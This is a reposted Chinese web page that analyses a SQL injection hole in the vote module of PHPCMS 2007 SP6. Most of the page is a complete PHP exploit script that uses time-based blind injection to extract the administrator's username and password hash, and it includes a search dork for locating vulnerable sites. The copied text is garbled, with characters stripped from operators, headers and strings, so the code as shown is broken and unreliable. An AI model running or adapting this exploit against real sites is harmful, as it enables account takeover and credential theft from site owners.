PHPCMS2007 SP6 vote模块SQL注射漏洞的分析
网络安全 2021-07-03 10:02www.168986.cn网络安全知识
漏洞代码
vote/vote.php
// 22行
$optionids = is_array($op) ? implode(',',$op) : $op;
...
$db->query("UPDATE ".TABLE_VOTE_OPTION." SET number = number 1 WHERE optionid IN ($optionids) ");
漏洞很明显,没什么好说的,其他地方也有类似的问题,有兴趣的同学可以跟下,狼蚁网站SEO优化给个poc性质的exp[由于是盲注,效果不是很好]:p
代码:
#!/usr/bin/php
<?php
print_r('
---------------------------------------------------------------------------
Phpcms 2007 SP6 Bind SQL injection / admin credentials disclosure exploit
by puret_t
mail: puretot at gmail dot
team: http://.wolvez.
dork: "Powered by Phpcms 2007"
---------------------------------------------------------------------------
');
/
works regardless of php.ini settings
/
if ($argc < 3) {
print_r('
---------------------------------------------------------------------------
Usage: php '.$argv[0].' host path
host: target server (ip/hostname)
path: path to phpcms
Example:
php '.$argv[0].' localhost /phpcms/
---------------------------------------------------------------------------
');
exit;
}
error_reporting(7);
ini_set('max_execution_time', 0);
$host = $argv[1];
$path = $argv[2];
$benchmark = 100000000;
$timeout = 10;
$cmd = 'voteid=999999&attribute=1&op=999999)//AND//ryat#';
$resp = send();
preg_match('/([a-z0-9] )_vote_option/', $resp, $pre);
if ($pre) {
echo "Plz Waiting...\n";
/
get admin password
/
$j = 1;
$pass = '';
$hash[0] = 0; //null
$hash = array_merge($hash, range(48, 57)); //numbers
$hash = array_merge($hash, range(97, 102)); //a-f letters
while (strlen($pass) < 32) {
for ($i = 0; $i <= 255; $i ) {
if (in_array($i, $hash)) {
$cmd = 'voteid=999999&attribute=1&op=999999)//AND//(IF((ASCII(SUBSTRING((SELECT//password//FROM//'.$pre[1].'_member//WHERE//groupid=1//LIMIT//1),'.$j.',1))='.$i.'),BENCHMARK('.$benchmark.',CHAR(0)),1))#';
send();
usleep(2000000);
$starttime = time();
send();
$endtime = time();
$difftime = $endtime - $starttime;
if ($difftime > $timeout) {
$pass .= chr($i);
echo chr($i);
break;
}
}
if ($i == 255)
exit("\nExploit Failed!\n");
}
$j ;
}
echo "\t";
/
get admin username
/
$j = 1;
$user = '';
while (strstr($user, chr(0)) === false) {
for ($i = 0; i <= 255; $i ) {
$cmd = 'voteid=999999&attribute=1&op=999999)//AND//(IF((ASCII(SUBSTRING((SELECT//username//FROM//'.$pre[1].'_member//WHERE//groupid=1//LIMIT//1),'.$j.',1))='.$i.'),BENCHMARK('.$benchmark.',CHAR(0)),1))#';
send();
usleep(2000000);
$starttime = time();
send();
$endtime = time();
$difftime = $endtime - $starttime;
if ($difftime > $timeout) {
$user .= chr($i);
echo chr($i);
break;
}
if ($i == 255)
exit("\nExploit Failed!\n");
}
$j ;
}
exit("Expoilt Suess!\nadmin:\t$user\nPassword(md5):\t$pass\n");
} else
exit("Exploit Failed!\n");
function send()
{
global $host, $path, $cmd;
$message = "POST ".$path."vote/vote.php HTTP/1.1\r\n";
$message .= "Aept: /\r\n";
$message .= "Aept-Language: zh-\r\n";
$message .= "Content-Type: application/x--form-urlencoded\r\n";
$message .= "User-Agent: Mozilla/4.0 (patible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
$message .= "CLIENT-IP: ".time()."\r\n";
$message .= "Host: $host\r\n";
$message .= "Content-Length: ".strlen($cmd)."\r\n";
$message .= "Connection: Close\r\n\r\n";
$message .= $cmd;
$fp = fsockopen($host, 80);
fputs($fp, $message);
$resp = '';
while ($fp && !feof($fp))
$resp .= fread($fp, 1024);
return $resp;
}
?>
网络安全培训
- 网络安全常见漏洞类型 网络安全常见漏洞类型包
- 绿色上网顺口溜七言 绿色上网的宣传标语
- 网络安全等级保护测评 网络安全等级保护条例
- 如何加强网络安全 网络安全隐患有哪些
- 网络安全防护措施有哪些 网络安全等级保护等级
- 如何保障网络安全 如何做好网络安全保障工作
- 维护网络安全的措施有哪些 维护网络安全的主要
- 网络安全工程师好学吗 2024年网络安全工程师好学
- 网络安全注意事项简短 网络安全注意事项100字
- 网络安全面临的挑战 当前网络安全面临的新问题
- 网络安全培训哪个靠谱 网络安全培训找哪个
- 普及网络安全知识内容 普及网络安全教育
- 网络安全防范知识宣传内容 网络安全防范知识宣
- 如何做好网络安全工作 如何做好网络安全工作
- 网络安全常识的丰富内容 网络安全的相关知识
- 青少年网络安全教育片 青少年网络安全知识讲座